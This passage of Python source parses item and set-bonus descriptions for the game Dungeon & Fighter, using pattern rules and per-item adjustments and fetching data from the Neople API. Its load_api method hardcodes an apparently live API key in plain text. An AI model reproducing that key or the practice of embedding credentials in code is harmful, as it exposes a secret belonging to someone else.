30Lv\ubc84\ud504\uc2a4\ud0ac\ud798\uc9c0\ub2a5\uc99d\uac00\ub7c9{}%\uc99d\uac00\n    # 30Lv\ubc84\ud504\uc2a4\ud0ac\ubb3c\ub9ac\ub9c8\ubc95\ub3c5\ub9bd\uacf5\uaca9\ub825\uc99d\uac00\ub7c9{}%\uc99d\uac00\n    # 30Lv\ubc84\ud504\uc2a4\ud0ac\ubb3c\ub9ac\uacf5\uaca9\ub825\uc99d\uac00\ub7c9{}%\uc99d\uac00\n    # 30Lv\ubc84\ud504\uc2a4\ud0ac\ub9c8\ubc95\uacf5\uaca9\ub825\uc99d\uac00\ub7c9{}%\uc99d\uac00\n    # 30Lv\ubc84\ud504\uc2a4\ud0ac\ub3c5\ub9bd\uacf5\uaca9\ub825\uc99d\uac00\ub7c9{}%\uc99d\uac00\n    # 50Lv\uc561\ud2f0\ube0c\uc2a4\ud0ac\ud798\uc9c0\ub2a5\uc99d\uac00\ub7c9{}\uc99d\uac00\n    # 50Lv\uc561\ud2f0\ube0c\uc2a4\ud0ac\ud798\uc9c0\ub2a5\uc99d\uac00\ub7c9{}%\uc99d\uac00\n#\uc218\ud638\uc758 \uc740\ucd1d \uccb4\ub825, \uc815\uc2e0\ub825 250 \uc99d\uac00\n#\uacc4\uc2dc : \uc544\ub9ac\uc544, \ud37c\ud398\ud2f0\uc5b4 \uc9c0\ub2a5 173 \uc99d\uac00\n\n    b_parser = [\n            compile(\"30Lv\ubc84\ud504\uc2a4\ud0ac\ud798\uc9c0\ub2a5\uc99d\uac00\ub7c9{\ucd95\ud798\uc9c0:g}%\uc99d\uac00\"),\n            compile(\"30Lv\ubc84\ud504\uc2a4\ud0ac\ubb3c\ub9ac\ub9c8\ubc95\ub3c5\ub9bd\uacf5\uaca9\ub825\uc99d\uac00\ub7c9{\ucd95\ubb3c\ub9c8\ub3c5:g}%\uc99d\uac00\"),\n            compile(\"30Lv\ubc84\ud504\uc2a4\ud0ac\ubb3c\ub9ac\uacf5\uaca9\ub825\uc99d\uac00\ub7c9{\ucd95\ubb3c\uacf5:g}%\uc99d\uac00\"),\n            compile(\"30Lv\ubc84\ud504\uc2a4\ud0ac\ub9c8\ubc95\uacf5\uaca9\ub825\uc99d\uac00\ub7c9{\ucd95\ub9c8\uacf5:g}%\uc99d\uac00\"),\n            compile(\"30Lv\ubc84\ud504\uc2a4\ud0ac\ub3c5\ub9bd\uacf5\uaca9\ub825\uc99d\uac00\ub7c9{\ucd95\ub3c5\uacf5:g}%\uc99d\uac00\"),\n            compile(\"50Lv\uc561\ud2f0\ube0c\uc2a4\ud0ac\ud798\uc9c0\ub2a5\uc99d\uac00\ub7c9{\ud3ec\uacc4\uc218:g}\uc99d\uac00\"),\n            compile(\"50Lv\uc561\ud2f0\ube0c\uc2a4\ud0ac\ud798\uc9c0{}{\ud3ec\ud798\uc9c0:g}%\uc99d\uac00\"),\n            #compile(\"50Lv\uc561\ud2f0\ube0c\uc2a4\ud0ac\ud798\uc9c0\ub2a5{\ud3ec\ud798\uc9c0:g}%\uc99d\uac00\"), \n            compile(\"\uc218\ud638\uc758\uc740\ucd1d\uccb4\ub825\uc815\uc2e0\ub825{\uccb4\ub825:g}\uc99d\uac00\"),\n            compile(\"\uacc4\uc2dc:\uc544\ub9ac\uc544\ud37c\ud398\ud2f0\uc5b4\uc9c0\ub2a5{\uc9c0\ub2a5:g}\uc99d\uac00\"),\n            compile(\"\uacc4\uc2dc:\uc544\ub9ac\uc544\uc9c0\ub2a5{\ub77c\ud54c\uc9c0\ub2a5:g}\uc99d\uac00\"),\n            compile(\"\ud37c\ud398\ud2f0\uc5b4\uc9c0\ub2a5{\uce74\ud14c\uc9c0\ub2a5:g}\uc99d\uac00\"),\n            compile(\"\uc218\ud638\uc758\uc740\ucd1d\uacc4\uc2dc:\uc544\ub9ac\uc544\ud37c\ud398\ud2f0\uc5b4\uc2a4\ud0acLv+{\ud328\uc2dc\ube0c\ub808\ubca8:g}\"), \n            compile(\"\uc2e0\ub150\uc758\uc624\ub77c\uccb4\ub825\uc815\uc2e0\ub825\uc99d\uac00\ub7c9{\uccb4\ub825\uc624\ub77c:g}\uc99d\uac00\"),\n            compile(\"\uc2e0\uc2e4\ud55c\uc5f4\uc815\uc18c\uc545\ub9c8\ud798\uc9c0\ub2a5\uc99d\uac00\ub7c9{\uc9c0\ub2a5\uc624\ub77c:g}\uc99d\uac00\"),\n            compile(\"\ubaa8\ub4e0\uc9c1\uc5c530\ub808\ubca8\ubaa8\ub4e0\uc2a4\ud0acLv+{\ucd95\ub808\ubca8:g}\"),\n            compile(\"\ubaa8\ub4e0\uc9c1\uc5c550\ub808\ubca8\ubaa8\ub4e0\uc2a4\ud0acLv+{\ud3ec\ub808\ubca8:g}\"),\n            compile(\"50Lv\ubaa8\ub4e0\uc2a4\ud0ac+{\ud3ec\ub808\ubca8:g}\"),\n            compile(\"30Lv\ubaa8\ub4e0\uc2a4\ud0ac+{\ucd95\ub808\ubca8:g}\"),\n            compile(\"30Lv\ubc84\ud504\uc2a4\ud0ac\ub808\ubca8+{\ucd95\ub808\ubca8:g}\"),\n            compile(\"\ubaa8\ub4e0\uc9c1\uc5c5{min:g}~{max:g}\ub808\ubca8\ubaa8\ub4e0\uc2a4\ud0acLv+{lv:g}({}\uc81c\uc678\"),\n            compile(\"\ubaa8\ub4e0\uc2a4\ud0ef+{\ubaa8\ub4e0\uc2a4\ud0ef:g}(+\")\n            ]\n\n    s_parser = {}\n    s_parser['\uc554\uc18d\uc870\uac74'] = [\n            compile(\"\uc554\uc18d\uc131\uc800\ud56d{v:d}\ub2f9{option}(\ucd5c\ub300{max}\uc99d\uac00)\"),\n            compile(\"\uc554\uc18d\uc131\uc800\ud56d{v:d}\ub2f9{option}\ucd5c\ub300{max}\uc911\ucca9\"),\n            compile(\"\uc554\uc18d\uc131\uc800\ud56d{v:d}\uc774\uc0c1\uc77c\ub54c{option:S}\")\n            ]\n\n    s_parser['\uac1c\uc870\uc870\uac74'] = compile(\"\uc7a5\ube44\uac1c\uc870\ub2e8\uacc4\uac00{step:d}\uc99d\uac00\ud560\ub54c\ub9c8\ub2e4{option:S}(\")\n    s_parser['\uac15\ud654\uc870\uac74'] = compile(\"\uac15\ud654\uc99d\ud3ed\uc218\uce58\uac00{v:d}\uc99d\uac00\ud560\ub54c\ub9c8\ub2e4{option}(\ucd5c\ub300{max}\uae4c\uc9c0\uc99d\uac00)\")\n    s_parser['\ucc29\uc6a9\uc870\uac74'] = [\n            compile(\"{item}\ucc29\uc6a9\uc2dc\"),\n            compile(\"{item}\uc7a5\ucc29\uc2dc\"),\n            compile(\"{item1}\uacfc{item2}\uc7a5\ucc29\uc2dc\")\n            ]\n    s_parser['\uc8fc\uc0ac\uc704'] = compile(\"\uc8fc\uc0ac\uc704\ub208\uc774{v}\uc77c\uacbd\uc6b0{option:S}\")\n    s_parser['\uc911\ucca9'] = compile(\"\ucd5c\ub300{v:d}\uc911\ucca9\")\n    s_parser['\ucd5c\ub300'] = compile(\"(\ucd5c\ub300{v:g}{}\uc99d\uac00)\")\n\n    myth_db = {}\n    weapon_tree = {}\n    set_tree = {}\n    item_tree = {}\n\n    convert_list = {}\n    \n    @staticmethod\n    def load_api(URL):\n        apikey = 'apikey=NqzICVeo3FesBuq3Gw1CmYhiOiFdYcHr'\n\n        #print('https://api.neople.co.kr/df/'+ URL + apikey)\n        max_try = 5\n        while True:\n            try:\n                api_load=urllib.request.urlopen('https://api.neople.co.kr/df/'+ URL + apikey)\n                api_dic=loads(api_load.read().decode(\"utf-8\"))\n                break\n            except:\n                max_try -= 1\n                if max_try == 0:\n                    raise\n                sleep(0.5)\n                continue\n\n        return api_dic\n\n    @classmethod\n    def parse_buff(cls, explain, io, name, skill_db, step = 0):\n        #print (\"#################################################\")\n        #print (name)\n        explain = explain.replace(' ', '').replace(',','').replace('\\n\\n', '\\n')\n        e_list = explain.split('\\n')\n\n        for exp in e_list:\n            #print(exp)\n            if len(exp) <= 0:\n                continue\n\n            opt = {}\n            for p in cls.b_parser:\n                try:\n                    result = p.search(exp)\n                except:\n                    raise\n                if result is not None:\n                    if step > 0:\n                        if step == 10:\n                            opt['per-step'] = 1\n                        else:\n                            opt['step'] = step\n\n                    if len(result.fixed) > 0 and result[0] == '\ud2b9\uc131\uc2a4\ud0ac':\n                        min_lv = int(result['min'])\n                        max_lv = int(result['max'])\n                        lvup = int(result['lv'])\n\n                        data = {'min':min_lv, 'max':max_lv, 'lvup':lvup}\n                        opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n                        continue\n\n                    for key in result.named.keys():\n                        #print(key, result[key])\n                        opt[key] = result[key]\n                    \n                    break\n\n            if len(opt) >= 1:\n                io.append(opt)\n\n        \"\"\"\n        opt = {}\n        if name == '\uc6b4\uba85\uc744 \uac00\ub974\ub294 \ud568\uc131 \uc138\ud2b8' and step == 3:\n            data = {'min':30, 'max':50, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uc6b4\uba85\uc758 \uc8fc\uc0ac\uc704 \uc138\ud2b8' and step == 2:\n            data = {'min':30, 'max':48, 'lvup':1}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uc6b4\uba85\uc758 \uc8fc\uc0ac\uc704 \uc138\ud2b8' and step == 3:\n            data = {'min':30, 'max':50, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uc601\ubcf4 : \uc138\uc0c1\uc758 \uc9c4\ub9ac \uc138\ud2b8' and step == 2:\n            data = {'min':30, 'max':50, 'lvup':1}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uc2dc\uac04\uc804\uc7c1\uc758 \uc794\ud574 \uc138\ud2b8' and step == 2:\n            data = {'min':1, 'max':30, 'lvup':1}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uc804\uc124\uc758 \ub300\uc7a5\uc7a5\uc774 - \uc5ed\uc791 \uc138\ud2b8' and step == 3:\n            data = {'min':30, 'max':50, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uc804\uc124\uc758 \ub300\uc7a5\uc7a5\uc774 - \uc5ed\uc791 \uc138\ud2b8' and step == 5:\n            data = {'min':30, 'max':48, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n            opt = {}\n            opt['\ucd95\ud798\uc9c0'] = 6\n            io.append(opt)\n            opt = {}\n            opt['\ud3ec\ud798\uc9c0'] = 7\n            io.append(opt)\n            opt = {}\n            opt['\ud3ec\uacc4\uc218'] = 20\n            io.append(opt)\n        elif name == '\uba54\ub9c8\ub978 \uc0ac\ub9c9\uc758 \uc720\uc0b0 \uc138\ud2b8' and step == 2:\n            data = {'min':1, 'max':30, 'lvup':1}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uba54\ub9c8\ub978 \uc0ac\ub9c9\uc758 \uc720\uc0b0 \uc138\ud2b8' and step == 3:\n            data = {'min':30, 'max':48, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uba54\ub9c8\ub978 \uc0ac\ub9c9\uc758 \uc720\uc0b0 \uc138\ud2b8' and step == 5:\n            data = {'min':30, 'max':50, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uc5f4\ub300\uc758 \ud2b8\ub85c\ud53c\uce74 \uc138\ud2b8' and step == 3:\n            data = {'min':1, 'max':48, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == 'A.D. P \uc288\ud2b8 \uc138\ud2b8' and step == 5:\n            data = {'min':1, 'max':50, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\uc8fd\uc74c\uc744 \uc790\uc544\ub0b4\ub294 \uadf8\ub9bc\uc790 \uc138\ud2b8' and step == 5:\n            data = {'min':1, 'max':48, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        elif name == '\ucc9c\uc0c1\uc758 \ubb34\ud76c \uc138\ud2b8' and step == 5:\n            data = {'min':1, 'max':48, 'lvup':2}\n            opt['\uc2a4\ud0ac\uad6c\uac04'] = data\n            io.append(opt)\n        \"\"\"\n           \n        return io;\n\n    @classmethod\n    def parse_explain(cls, explain, io, name, skill_db, step = 0, iid = None):\n        if explain is None:\n            return\n\n        explain = explain.replace('\ud798, \uc9c0\ub2a5', '\ud798/\uc9c0\ub2a5')\n        explain = explain.replace('\ubb3c\ub9ac, \ub9c8\ubc95, \ub3c5\ub9bd', '\ubb3c\ub9ac/\ub9c8\ubc95/\ub3c5\ub9bd')\n        explain = explain.replace('\ubb3c\ub9ac, \ub9c8\ubc95', '\ubb3c\ub9ac/\ub9c8\ubc95')\n        explain = explain.replace('\ub808\ubca8,', '\ub808\ubca8/')\n        explain = explain.replace('\\n(', '(')\n        explain = explain.replace('/','').replace(',','').replace(' ','')\n        explain = explain.replace('\uce90\uc2a4\ud305','\uce90\uc2a4\ud2b8').replace('\ud53c\uaca9\uc2dc\ubc1b\ub294','\ud53c\uaca9\uc2dc')\n        explain = explain.replace('\ud06c\ub9ac\ud2f0\uceec\ub370\ubbf8\uc9c0','\ud06c\ub9ac\ud2f0\uceec\uacf5\uaca9\uc2dc\ub370\ubbf8\uc9c0')\n        explain = explain.replace('\ubd88\uce74\ub204\uc2a4\uc758\ud798\uc73c\ub85c','')\n        e_list = explain.split('\\n')\n\n        condition = {}\n        step_fixed = False\n        for exp in e_list:\n            e_matched = False\n            if len(exp) <= 0:\n                continue\n\n            if exp.find(\"\ud574\ub2f9\ud6a8\uacfc\ub294\ud654\uc218\uc554\uba85\uc21c\uc11c\ub85c\uc21c\ud658\ub429\ub2c8\ub2e4\") >= 0:\n                break\n\n            if exp.find(\"\ub358\uc804\uc785\uc7a5\uc2dc\ud30c\ud2f0\uc6d0\uc7742\uba85\uc774\") >= 0:\n                break\n            \n            if exp[0] != '-':\n                if step_fixed is False:\n                    condition = {}\n            else:\n                exp = exp[1:]\n\n            if exp.find('\uc8fc\uc0ac\uc704') >= 0:\n                p = cls.s_parser['\uc8fc\uc0ac\uc704']\n                result = p.search(exp)\n                if result is not None:\n                    condition['\uc870\uac74'] = {'type':'\uc8fc\uc0ac\uc704', 'cond':result['v']}\n                    exp = result['option']\n\n            if exp.find('\uc554\uc18d\uc131') >= 0:\n                for p in cls.s_parser['\uc554\uc18d\uc870\uac74']:\n                    result = p.search(exp)\n                    #print(exp, result)\n                    if result is not None:\n                        limit = result.named.get('max')\n                        condition['\uc870\uac74'] = {'type':'\uc554\uc18d\uc800', 'per-val':result['v'], 'max':limit}\n                        exp = result['option']\n \n\n            if exp.find('\ucd5c\ub300') >= 0:\n                p = cls.s_parser['\uc911\ucca9']\n                result = p.search(exp)\n                if result is not None:\n                    condition['\uc911\ucca9'] = result['v']\n                \n                elif exp.find('\uac15\ud654\uc99d\ud3ed') >= 0:\n                    p = cls.s_parser['\uac15\ud654\uc870\uac74']\n                    result = p.search(exp)\n                    if result is not None:\n                        condition['\uc870\uac74'] = {'type':'\uac15\ud654\uc99d\ud3ed', 'per-val':result['v'], 'max':result['max']}\n                else:\n                    p = cls.s_parser['\ucd5c\ub300']\n                    #print(exp)\n                    result = p.search(exp)\n                    if result is not None:\n                        condition['\ucd5c\ub300'] = result['v']\n                    #print(condition)\n\n            if exp.find('\ucc29\uc6a9') >= 0 or exp.find('\uc7a5\ucc29'):\n                if exp.find('\ubcf4\uc870\ubb34\uae30\ub85c') < 0:\n                    for p in cls.s_parser['\ucc29\uc6a9\uc870\uac74']:\n                        result = p.search(exp)\n                        if result is not None:\n                            required = []\n                            for r in result.named:\n                                required.append(result[r])\n\n                            condition['\uc870\uac74'] = {'type':'\ucc29\uc6a9', 'required':required}\n\n            if exp.find('\uac1c\uc870') >= 0:\n                if exp == '[\uac1c\uc870\ub2e8\uacc4\ubcc4\uc635\uc158]':\n                    condition['\uc870\uac74'] = {'type':'\uac1c\uc870', 'per-step':1}\n                    step_fixed = True\n                else:\n                    p = cls.s_parser['\uac1c\uc870\uc870\uac74']\n                    result = p.search(exp)\n                    if result is not None:\n                        condition['\uc870\uac74'] = {'type':'\uac1c\uc870', 'per-step':result['step']}\n                        exp = result['option']\n            if exp == '[\uac80\uc740\ub9c8\ubb3c\uc758\uc815\uc6d0\uc804\uc6a9\uc635\uc158]':\n                break\n            elif exp.find('\uce90\ub9ad\ud130\uc774\ub3d9\uc18d\ub3c4\uc5d0\ub530\ub77c\ub2e4\uc74c\ud6a8\uacfc') >= 0:\n                break\n\n            opt = {}\n            for p in cls.parser:\n                try:\n                    result = p.search(exp)\n                except:\n                    raise\n                if result is not None:\n                    for key in result.named.keys():\n                        if '\uc2a4\ud0ac\uc99d\ub310' in result.named.keys():\n                            #print ('\uc2a4\ud0ac\uc99d\ub310', name)\n                            v = result['\uc2a4\ud0ac\uc99d\ub310']\n                            lvl = result['\ub808\ubca8']\n                            opt['\uc2a4\ud0ac'] = [{'job': '\uacf5\ud1b5', 'jid': None},\n                                            [{'minLevel':lvl, 'maxLevel':lvl,'damup':v}]\n                                           ]\n                            break\n                        elif '\uc2a4\ud0ac\ucfe8\uac10' in result.named.keys():\n                            #print ('\uc2a4\ud0ac\ucfe8\uac10', name)\n                            minlvl = result['minLevel']\n                            maxlvl = result['maxLevel']\n                            v = result['\uc2a4\ud0ac\ucfe8\uac10']\n                            opt['\uc2a4\ud0ac'] = [{'job': '\uacf5\ud1b5', 'jid': None},\n                                            [{'minLevel':minlvl, 'maxLevel':maxlvl,'cooldown':v}]\n                                           ]\n                            break\n                        elif '\uc2a4\ud0ac\ub808\ubca8' in result.named.keys():\n                            #print ('\uc2a4\ud0ac\ub808\ubca8', name)\n                            minlvl = result['minLevel']\n                            maxlvl = result['maxLevel']\n                            v = result['\uc2a4\ud0ac\ub808\ubca8']\n                            opt['\uc2a4\ud0ac'] = [{'job': '\uacf5\ud1b5', 'jid': None},\n                                            [{'minLevel':minlvl, 'maxLevel':maxlvl,'value':v}]\n                                           ]\n                            break\n\n                        v = result[key]\n                        if '\uc911\ucca9' in condition:\n                            f = condition['\uc911\ucca9']\n                            \n                            #\uc911\ucca9 \ud69f\uc218\uac00 \ub192\uc744\uc2dc \ubcf4\uc815\n                            \"\"\"\n                            if f > 10:\n                                df = f - 10\n                                df = int(df*0.5)\n                                f = df + 10\n                            \"\"\"\n                            v *= f\n                        elif '\ucd5c\ub300' in condition:\n                            f = condition['\ucd5c\ub300']\n                            v = f\n                        \n                        #e = result.named.get('e')\n                        opt[key] = v\n                    break;\n\n            #\uc544\uc774\ud15c\ubcc4 \ucee4\uc2a4\ud140                           \n\n            if len(opt) >= 1:\n                if '\uc870\uac74' in condition:\n                    opt['condition'] = condition['\uc870\uac74']\n\n                io.append(opt)\n        \"\"\"\n        if step == -2:\n            convert = cls.convert_list.get(name)\n            if convert is not None:\n                io.append({'\ubcc0\ud658': { 'opts': convert['options'], 'type': convert['type']}})\n        \"\"\"\n\n        if step == -2:\n            if name == '\ub370\ud30c\ub974\ub9dd' and iid is not None:\n                #print (io, iid, explain)\n                try:\n                    io.pop(0)\n                except:\n                    pass\n\n            return io\n\n        if step == -3:\n            if name == '\ub370\ud30c\ub974\ub9dd':\n                #print (io, iid, explain)\n                try:\n                    io.pop(1)\n                except:\n                    pass\n\n        if name.find('\uc0ac\ub3c4 \uac15\ub9bc \ud50c\ub798\ud2f0\ub118') >= 0 or name.find('\uc704\ub300\ud55c \uc758\uc9c0') >= 0 or name.find('\uac15\uc778\ud55c \uc0ac\ub3c4') >= 0 or name.find('\uae30\uc0ac\uc758 \uc704\ub300\ud55c \uae0d\uc9c0') >= 0:\n            p = compile(\"{}[{lv:d}Lv]\")\n            result = p.parse(name)\n            if result is not None:\n                lv = result['lv']\n                io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':lv, 'maxLevel':lv, 'damup':10},\n                        ]\n                      )})\n        \n        elif step == 0 and name == '\ud37c\ud399\ud2b8 \ucee8\ud2b8\ub864':\n            \"\"\"\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':85, 'value':1},\n                            {'minLevel':100, 'maxLevel':100, 'value':1},\n                        ]\n                      )})\n            \"\"\"\n            pass\n        elif step == 4 and name == '\uc120\uc9c0\uc790\uc758 \ubaa9\uac78\uc774':\n            for opts in io:\n                if '\uc18d\ucd94\ub310' in opts:\n                    opts['\uc18d\ucd94\ub310'] *= 0.35\n                elif '\uc2a4\uacf5' in opts:\n                    if opts['\uc2a4\uacf5'] == 10:\n                        opts['\uc2a4\uacf5'] = 10 * 0.35 + 15 * 0.3\n                    else:\n                        #opts['\uc2a4\uacf5'] *= 0.3\n                        del opts['\uc2a4\uacf5']\n\n        elif step == 1 and name == '\uccad\uba74\uc218\ub77c\uc758 \uac00\uba74':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5', 'jid':None},\n                        [\n                            {'minLevel':1, 'maxLevel':85, 'value':2},\n                            {'minLevel':100, 'maxLevel':100, 'value':2},\n                        ]\n                      )})\n        elif step == 1 and name == '\ubb34\ub150\uc758 \uc758\ubcf5':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5','jid':None},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'value':2},\n                            {'minLevel':85, 'maxLevel':85, 'value':2},\n                            {'minLevel':100, 'maxLevel':100, 'value':2},\n                        ]\n                      )})\n        elif step == 1 and name == '\ubb34\ud615\uc758 \uc808\uac1c':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5','jid':None},\n                        [\n                            {'minLevel':50, 'maxLevel':85, 'value':1},\n                            {'minLevel':100, 'maxLevel':100, 'value':1},\n                        ]\n                      )})\n        elif step == 1 and name == '\ubb34\uc758\uc2dd\uc758 \uaf43':\n            io.append({'\uc2a4\ud0ac':({'job':'\uacf5\ud1b5','jid':None},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'damup':30},\n                            {'minLevel':85, 'maxLevel':85, 'damup':25},\n                            {'minLevel':100, 'maxLevel':100, 'damup':16},\n                        ]\n                      )})\n\n        elif (name == '\ud0dc\uadf9\ucc9c\uc81c\uac80'):\n            for opts in io:\n                if '\ubaa8\uacf5' in opts:\n                    opts['\ubaa8\uacf5'] *= 0\n                \"\"\"\n                elif '\uc2a4\uacf5' in opts:\n                    if opts['\uc2a4\uacf5'] != 30:\n                        opts['\uc2a4\uacf5'] *= 1\n                elif '\uacf5\uc18d' in opts:\n                    if '\uc99d\uac10' in opts:\n                        opts['\uacf5\uc18d'] *= 1\n                        opts['\uc774\uc18d'] *= 1\n                        opts['\uce90\uc18d'] *= 1\n                    else:\n                        opts['\uacf5\uc18d'] *= 0\n                        opts['\uc774\uc18d'] *= 0\n                        opts['\uce90\uc18d'] *= 0\n                \"\"\"\n        elif (name == '\ucc9c\uc7a5\uad70 : \uc804\uc2b9\uc758 \ube5b'):\n            io.append({'\ubaa8\uacf5':18})\n\n        elif (name == '\ud478\ub978 \uc0dd\uba85\uc758 \uc774\uba74'):\n            for opts in io:\n                if '\ubaa8\uacf5' in opts:\n                    opts['\ubaa8\uacf5'] -= 3 #60\ucd08\ucfe8 20\ucd08 \uc9c0\uc18d \uc635\uc158 \uace0\ub824\n                elif '\ubaa8\uc18d\uc800' in opts:\n                    opts['\ubaa8\uc18d\uc800'] = int(opts['\ubaa8\uc18d\uc800'] * 0.66)\n                elif '\uce90\uc18d' in opts:\n                    opts['\uce90\uc18d'] *= 0.4\n        elif (name == '\ud504\ub85c\uc81d\ud2b8 : \uc624\ubc84\ucf54\uc5b4'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ucd1d\uac80\uc0ac','jid':cls.get_jobid('\ucd1d\uac80\uc0ac', skill_db)},\n                        [{'skillId':cls.get_skillid('\ucd1d\uac80\uc0ac', '\ucf54\uc5b4 \ube14\ub808\uc774\ub4dc \ub9c8\uc2a4\ud130\ub9ac', skill_db),\n                          'name':'\ucf54\uc5b4 \ube14\ub808\uc774\ub4dc \ub9c8\uc2a4\ud130\ub9ac',\n                          'damup':100,\n                          'extra':'\ub9c8\ubc95 \uacf5\uaca9\ub825'\n                        }]\n                      )})\n        elif (name == '\ud54f\ube5b \ubb34\ub3c4\ud68c'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub3c4\uc801','jid':cls.get_jobid('\ub3c4\uc801', skill_db)},\n                        [\n                         {'skillId':cls.get_skillid('\ub3c4\uc801', '\ud788\ud2b8\uc5d4\ub4dc', skill_db),\n                          'name':'\ud788\ud2b8\uc5d4\ub4dc',\n                          'value':'\uc5f0\uacc4 \uc810\uc218\ub2f9 \uacf5\uaca9\ub825 \ube44\uc728'\n                        }]\n                      )})\n        elif (name == '\ud654\ub824\ud55c \ub208\uc18d\uc784'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub3c4\uc801','jid':cls.get_jobid('\ub3c4\uc801', skill_db)},\n                        [\n                            {'minLevel':40, 'maxLevel':40, 'damup':32},\n                            {'minLevel':45, 'maxLevel':45, 'damup':32},\n                            {'minLevel':70, 'maxLevel':70, 'damup':32},\n                            {'skillId':cls.get_skillid('\ub3c4\uc801', '\uc778\ubc95 : \ud5c8\ubb3c \ubc97\uae30', skill_db),\n                             'name':'\uc778\ubc95 : \ud5c8\ubb3c \ubc97\uae30',\n                             'cooldown':32,\n                             'damdown':32,\n                            },\n                            {'skillId':cls.get_skillid('\ub3c4\uc801', '\uc0e4\uc774\ub2dd\ucef7', skill_db),\n                             'name':'\uc0e4\uc774\ub2dd\ucef7',\n                             'cooldown':32,\n                             'damdown':32,\n                            },\n                            {'skillId':cls.get_skillid('\ub3c4\uc801', '\ube0c\ub808\uc774\ud0b9 \ub7ec\uc2dc', skill_db),\n                             'name':'\ube0c\ub808\uc774\ud0b9 \ub7ec\uc2dc',\n                             'cooldown':32,\n                            },\n                            {'skillId':cls.get_skillid('\ub3c4\uc801', '\uc0ac\uc774\ub4dc \uc2a4\ud15d', skill_db),\n                             'name':'\uc0ac\uc774\ub4dc \uc2a4\ud15d',\n                             'cooldown':32,\n                            },\n                        ]\n                      )})\n\n        elif (name == '\ub3c4\ud654\uc120'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub3c4\uc801','jid':cls.get_jobid('\ub3c4\uc801', skill_db)},\n                        [{'skillId':cls.get_skillid('\ub3c4\uc801', '\ud749\uba78\uc778\ubc95\uc9c4', skill_db),\n                          'name':'\ud749\uba78\uc778\ubc95\uc9c4',\n                          'value':2\n                        }]\n                      )})\n        elif (name == '\ub77c\uc2a4\ud2b8 \uc778\ud30c\uc774\ud305'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ud504\ub9ac\uc2a4\ud2b8(\ub0a8)', 'jid':cls.get_jobid('\ud504\ub9ac\uc2a4\ud2b8(\ub0a8)', skill_db)},\n                        [{'skillId':cls.get_skillid('\ud504\ub9ac\uc2a4\ud2b8(\ub0a8)', '\ub4dc\ub77c\uc774\uc544\uc6c3', skill_db),\n                          'name':'\ub4dc\ub77c\uc774\uc544\uc6c3',\n                          'cooldown':30\n                        }]\n                      )})\n        elif (name == '\ub808\ubcfc\ub8e8\uc158 \ucc28\uc9c0'):\n            io.append({'\uc2a4\ud0ac':({'job':'\uac70\ub108(\ub0a8)', 'jid':cls.get_jobid('\uac70\ub108(\ub0a8)', skill_db)},\n                        [{'skillId':cls.get_skillid('\uac70\ub108(\ub0a8)', '\ub808\uc774\uc800 \ub77c\uc774\ud50c', skill_db),\n                          'name':'\ub808\uc774\uc800 \ub77c\uc774\ud50c',\n                          'cooldown':30,\n                          'damup':20,\n                        }]\n                      )})\n            io.append({'\uc2a4\ud0ac':({'job':'\uac70\ub108(\uc5ec)', 'jid':cls.get_jobid('\uac70\ub108(\uc5ec)', skill_db)},\n                        [{'skillId':cls.get_skillid('\uac70\ub108(\uc5ec)', '\ub808\uc774\uc800 \ub77c\uc774\ud50c', skill_db),\n                          'name':'\ub808\uc774\uc800 \ub77c\uc774\ud50c',\n                          'cooldown':30,\n                          'damup':20,\n                        }]\n                      )})\n            \"\"\"\n        elif (name == '\ub8e8\ub098 \ubca0\ub124\ub515\ud2f0\uc624'):\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ubc95\uc0ac(\ub0a8)','jid':cls.get_jobid('\ub9c8\ubc95\uc0ac(\ub0a8)', skill_db)},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'value':2},\n                            {'minLevel':85, 'maxLevel':85, 'value':2},\n                            {'minLevel':100, 'maxLevel':100, 'value':2},\n                        ]\n                      )})\n            io.append({'\uc2a4\ud0ac':({'job':'\ub9c8\ubc95\uc0ac(\uc5ec)','jid':cls.get_jobid('\ub9c8\ubc95\uc0ac(\uc5ec)', skill_db)},\n                        [\n                            {'minLevel':50, 'maxLevel':50, 'value':2},\n                            {'minLevel':85, 'maxLevel':85, 'value':2},\n                            {'minLevel':100, 'maxLevel':100, 'value':2},\n                        ]\n                      )})\n            \"\"\"\n        elif (name == '\uba54\uac00\uc1fc\ud06c \ub7f0\ucc98'):\n            